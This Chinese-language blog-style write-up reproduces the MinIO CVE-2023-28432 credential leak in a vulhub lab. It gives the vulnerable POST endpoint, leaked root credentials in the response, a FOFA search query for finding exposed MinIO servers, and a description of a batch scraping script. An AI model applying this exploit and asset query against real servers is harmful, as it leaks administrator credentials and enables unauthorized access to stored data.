前言:MinIO是一個用Golang開發的基于Apache License v2.0開源協議的對象存儲服務。雖然輕量,卻擁有著不錯的性能。它兼容亞馬遜S3云存儲服務接口,非常適合于存儲大容量非結構化的數據。該漏洞會在前臺泄露用戶的賬戶和密碼。
0x00 環境配置
此次實驗,我們繼續使用P神的Minio的docker環境。啟動環境:
-
cd /vulhub-master/minio/CVE-2023-28432/
-
docker-compose up -d
啟動完成后訪問http://your-ip:9001
為集群的web管理頁面,另外http://your-ip:9000
為集群的API接口。
0x01 觸發漏洞
這個漏洞的節點存在于這個路徑:http://your-ip:9000/minio/bootstrap/v1/verify
對該路徑發送POST請求會返回一段JSON數據:
{"MinioEndpoints":[{"Legacy":true,"SetCount":1,"DrivesPerSet":3,"Endpoints":[{"Scheme":"http","Opaque":"","User":null,"Host":"node1:9000","Path":"/mnt/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},{"Scheme":"http","Opaque":"","User":null,"Host":"node2:9000","Path":"/mnt/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false},{"Scheme":"http","Opaque":"","User":null,"Host":"node3:9000","Path":"/mnt/data3","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false}],"CmdLine":"http://node1:9000/mnt/data1 http://node2:9000/mnt/data2 http://node3:9000/mnt/data3","Platform":"OS: linux | Arch: amd64"}],"MinioEnv":{"MINIO_ACCESS_KEY_FILE":"access_key","MINIO_CONFIG_ENV_FILE":"config.env","MINIO_KMS_SECRET_KEY_FILE":"kms_master_key","MINIO_ROOT_PASSWORD":"minioadmin-vulhub","MINIO_ROOT_PASSWORD_FILE":"secret_key","MINIO_ROOT_USER":"minioadmin","MINIO_ROOT_USER_FILE":"access_key","MINIO_SECRET_KEY_FILE":"secret_key"}}
在該json字段中,我們可以看到MINIO_ROOT_USER
字段包含賬戶名,MINIO_ROOT_PASSWORD
字段包含賬戶的密碼。所以該信息泄露其實就是API接口的信息泄露。我們可以根據這個特性,寫一個批量的腳本文件來檢測,并將其中的關鍵信息返回。
0x02 POC利用
先在FoFa或者鷹圖上面收集跟MinIO集群相關的資產。banner=“MinIO” || header=“MinIO” || title=“MinIO Browser”
腳本相關較為敏感,若有需要可以加群下載。
其實腳本比較簡單,就是向這個漏洞URL發送請求,判斷返回包是否包含敏感字段。
如果包含就說明有敏感JSON字段,最后對這個JSON數據進行解析,拿出其中我們需要的兩個字段即可。下圖為利用效果。
0x03 加固建議
升級官方最新補丁可以修復該漏洞。